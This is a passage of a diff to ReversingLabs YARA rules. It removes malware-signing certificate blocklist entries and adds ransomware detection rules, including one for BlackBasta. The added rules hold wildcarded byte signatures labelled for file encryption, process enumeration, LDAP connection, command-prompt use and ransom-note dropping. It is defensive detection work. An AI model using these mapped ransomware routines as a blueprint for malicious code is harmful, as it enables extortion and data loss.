84 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? + ?? ?? ?? 3D ?? ?? ?? ?? 0F 43 C1 6A ?? 50 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 + 44 24 ?? 75 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? FF 74 24 ?? 6A ?? FF 35 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 0F 84 ?? ?? ?? ?? 80 BB ?? ?? ?? ?? + ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB + } + $enum_procs = { + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 39 F7 74 ?? + 69 C7 ?? ?? ?? ?? 89 4D ?? 01 C8 68 ?? ?? ?? ?? 89 DE 53 50 E8 ?? ?? ?? ?? 83 C4 ?? + 47 8D 85 ?? ?? ?? ?? 89 7D ?? 50 8B 5D ?? 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 89 + F3 89 C6 EB ?? 8D 4D ?? 89 F2 E8 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? EB ?? 31 FF 8B 75 ?? + 85 FF 75 ?? E9 ?? ?? ?? ?? 31 FF 53 E8 ?? ?? ?? ?? 8B 75 ?? 85 FF 0F 84 ?? ?? ?? ?? + 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 69 C7 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? 01 F0 89 + 45 ?? 8B 45 ?? 8D 04 40 8D 04 81 89 45 ?? EB + } + $find_files = { + 57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 53 56 E8 ?? ?? ?? + ?? 83 F8 ?? 89 45 ?? 0F 84 ?? ?? ?? ?? 89 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 85 C0 0F + 84 ?? ?? ?? ?? 89 C6 8B 45 ?? 8B 4D ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ?? + 8D 41 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 CB 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8B 45 ?? 89 43 ?? 89 73 ?? 8B 75 ?? 31 C0 C7 43 ?? ?? ?? ?? ?? F7 45 + ?? ?? ?? ?? ?? 89 03 75 ?? 83 7D ?? ?? 74 ?? 57 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? 83 7D ?? ?? 74 ?? FF 75 ?? 6A ?? FF 35 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5E 5F 5B 5D C3 + } + $encrypt_files_p1 = { + B8 ?? ?? ?? ?? 8D 4D ?? 8D 95 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 75 + ?? 8D 4D ?? 89 FA 56 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 8B 5D ?? 89 + 45 ?? 8B 45 ?? 83 F8 ?? 72 ?? 85 DB 74 ?? 0F B7 0B 81 F9 ?? ?? ?? ?? 75 ?? 8B 4B ?? + 89 C2 29 CA 72 ?? 83 FA ?? 72 ?? 85 DB 74 ?? 81 3C 0B ?? ?? ?? ?? 75 ?? 0F B7 54 0B + ?? 81 FA ?? ?? ?? ?? 75 ?? 0F B7 54 0B ?? 83 EA ?? 89 55 ?? BA ?? ?? ?? ?? 19 D2 89 + 55 ?? 72 ?? 83 F9 ?? 76 + } + $encrypt_files_p2 = { + 53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 57 + 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 51 ?? 29 D0 8B 55 ?? 0F 92 + 45 ?? 83 7D ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 39 C2 77 ?? B8 ?? ?? ?? ?? F7 64 0B ?? 8B + 55 ?? 70 ?? 39 C2 72 ?? 8B 44 0B ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? 8B 85 ?? + ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? + 89 45 ?? 89 10 89 48 ?? 8B 45 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? + 8B 45 ?? 8B 4D ?? 29 45 ?? 3B 4D ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8B 45 ?? 8B 4D ?? 89 45 ?? 89 4D ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 35 ?? ?? + ?? ?? 8B 45 ?? F2 0F 10 45 ?? 85 F6 89 85 ?? ?? ?? ?? F2 0F 11 85 ?? ?? ?? ?? 0F 84 + ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8D 0C C0 8D 3C 49 01 C7 01 F7 EB + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PRASAD UPENDRA" and pe.signatures [ i ] . serial == "45:1c:9d:0b:41:3e:6e:8d:f1:75" and 1442275199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_procs ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_03943858218F35Adb7073A6027555621 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BlackBasta ransomware." author = "ReversingLabs" - id = "fbaf4c7a-5f20-57f7-b6b7-143fdbf0e5c2" - date = "2020-08-05" - modified = "2023-11-08" + id = "7c451fde-b8b1-5a35-855e-7e30f3e75cbb" + date = "2022-09-01" + modified = "2022-12-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1978-L1994" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlackBasta.yara#L1-L531" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "93369d51b73591559494a48fafa5e4f7d46301ecaa379d8de70a70ac4d2d2728" + logic_hash = "c68671e51489af00e9e0cf28373e5ec01bda042653dbcca8843357eede41f27f" score = 75 - quality = 90 - tags = "INFO, FILE" + quality = 88 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BlackBasta" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RuN APps FOrEver lld" and pe.signatures [ i ] . serial == "03:94:38:58:21:8f:35:ad:b7:07:3a:60:27:55:56:21" and 1480550399 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_09813Ee7318452C28A1F6426D1Cee12D : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "db3c1992-b6a1-5aaf-ae3a-c626b531529a" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1996-L2012" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "89eb019192f822f9fe070403161d81e425fb8acdbc80e55fa516b5607eb8f8c7" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? + ?? 83 C4 ?? 8B F0 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6 + E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 ?? ?? ?? ?? 89 9D ?? + ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 + 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 + ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? + ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? + 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 + } + $encrypt_files_v1 = { + 6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? + ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F + ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A + ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 FF B5 ?? ?? ?? ?? 57 53 56 83 EC ?? 8B F4 89 A5 + ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ?? + ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A + ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? + ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 + ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ?? ?? ?? + 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + } + $cmd_prompt = { + 8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? FC 53 56 8B 75 ?? 8D 45 ?? 33 DB + 68 ?? ?? ?? ?? 53 50 89 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 0F 84 ?? + ?? ?? ?? 85 F6 75 ?? 53 39 5D ?? 75 ?? E8 ?? ?? ?? ?? 59 33 C0 E9 ?? ?? ?? ?? FF 75 + ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 85 F6 0F 94 C0 E9 ?? + ?? ?? ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 5D ?? 57 85 C0 74 ?? E8 + ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 53 89 18 8D 45 ?? 50 FF 75 ?? 53 E8 ?? ?? ?? ?? 83 + C4 ?? 8B F0 E8 ?? ?? ?? ?? 83 FE ?? 74 ?? 89 38 EB ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ?? + 83 38 ?? 74 ?? 83 CE ?? FF 75 ?? E8 ?? ?? ?? ?? 59 EB ?? E8 ?? ?? ?? ?? 89 38 53 8D + 45 ?? B9 ?? ?? ?? ?? 50 51 53 89 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ?? + 83 C4 ?? 8B C6 5F 8B 4D ?? 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 53 + } + $ldap_connect = { + C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? + 50 6A ?? 53 8B 35 ?? ?? ?? ?? FF D6 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 53 FF D6 + 6A ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? + 85 C0 74 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? + 8B F0 89 75 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 56 53 FF 15 ?? ?? ?? ?? 83 C4 ?? + 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? + ?? ?? ?? FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B + 06 85 C0 0F 84 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8B 4D + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 36 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 8B C8 89 4D ?? 8B 01 8B 40 ?? C6 45 ?? ?? 8B 44 08 ?? 8B 58 ?? 89 5D + ?? 8B 03 8B CB FF 50 ?? 83 4D ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 10 6A ?? + 8B C8 FF 52 ?? 0F B7 C0 89 45 ?? 83 65 ?? ?? C6 45 ?? ?? 85 DB 74 ?? 8B 03 8B CB FF + 50 ?? 8B C8 85 C9 74 ?? 8B 01 6A ?? FF 10 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D + ?? E8 ?? ?? ?? ?? 8B 5D ?? 56 FF 15 + } + $encrypt_files_v2 = { + 8D 45 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 FF 75 ?? 83 EC ?? 8B + F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 + ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 + ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + } + $encrypt_files_v3 = { + 6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? + ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F + ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A + ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 56 83 EC ?? 8B F4 89 A5 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ?? ?? ?? ?? C6 + 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B5 ?? + ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 + ?? ?? 8D 8D ?? ?? ?? ?? E8 + } + $encrypt_files_v4 = { + 8D 45 ?? 50 E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 11 45 ?? 0F 10 45 ?? 0F 11 45 ?? 8B 45 ?? + 8B 4D ?? 89 45 ?? 89 4D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? + 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 56 57 8D 45 ?? 50 8D 45 ?? 50 83 EC ?? 8B + F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 + ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 8D 85 + ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8D 0C 4D ?? ?? ?? ?? 89 8D ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B + 50 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? FF FF C6 + 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 + } + $drop_ransom_note_v1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 + 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 + BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A + ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 + BD ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? + 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? + 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 + 5D C3 + } + $exclude_from_encryption_v1 = { + 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D + ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 + ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B + F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? + 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 83 FE ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D + } + $exclude_from_encryption_v2_p1 = { + 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 + 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? + E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 + } + $exclude_from_encryption_v2_p2 = { + 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? + ?? 8D 8D ?? ?? ?? ?? 